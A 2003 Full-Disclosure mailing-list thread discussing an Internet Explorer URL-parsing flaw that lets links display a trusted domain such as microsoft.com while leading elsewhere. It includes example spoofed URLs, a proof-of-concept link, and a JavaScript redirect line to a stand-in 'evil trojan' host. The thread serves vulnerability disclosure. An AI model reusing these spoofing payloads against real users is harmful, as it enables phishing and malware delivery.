Re: RE: FWD: Internet Explorer URL parsing vulnerability

[S G Masood <sgmasood () yahoo com>]

--- Exibar <exibar () thelair com> wrote:
> my favorite will be this one that I'm sure will
> circulate:
>
> http://www.microsoft.com%01 () www linux org
>
>   :-)

http://www.microsoft.com%01 () www linux org
 wont work until you 
unescape('http://www.microsoft.com%01 () www linux org');


> ----- Original Message ----- 
> From: "S G Masood" <sgmasood () yahoo com>
> To: <full-disclosure () lists netsys com>
> Sent: Tuesday, December 09, 2003 1:22 PM
> Subject: [Full-disclosure] RE: FWD: Internet
> Explorer URL parsing
> vulnerability
>
>
> > LOL. This is so simple and dangerous, it almost
> made
> > me laugh and cry at the same time. Most of you
> will
> > realise why...;D
> > The Paypal, AOL, Visa, Mastercard, et al email
> > scammers will have a harvest of gold this month
> with
> > lots of zombies falling for this simple technique.
> >
> > > # POC ##########
> >
> > http://www.zapthedingbat.com/security/ex01/vun1.htm
> >
> > Dont be surprised if your latest download from
> > http://www.microsoft.com turns out to be a trojan!
location.href=unescape('http://windowsupdate.microsoft.com%01@comedownloadan
> eviltrojanfromme.com);
> > --
> > S.G.Masood
> >
> > Hyderabad,
> > India
> >
> > PS: One more thing - no scripting required to
> exploit this.
> > __________________________________
> > Do you Yahoo!?
> > Free Pop-Up Blocker - Get it now
> > http://companion.yahoo.com/
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter:
> http://lists.netsys.com/full-disclosure-charter.html
> >


__________________________________
Do you Yahoo!?
Free Pop-Up Blocker - Get it now
http://companion.yahoo.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html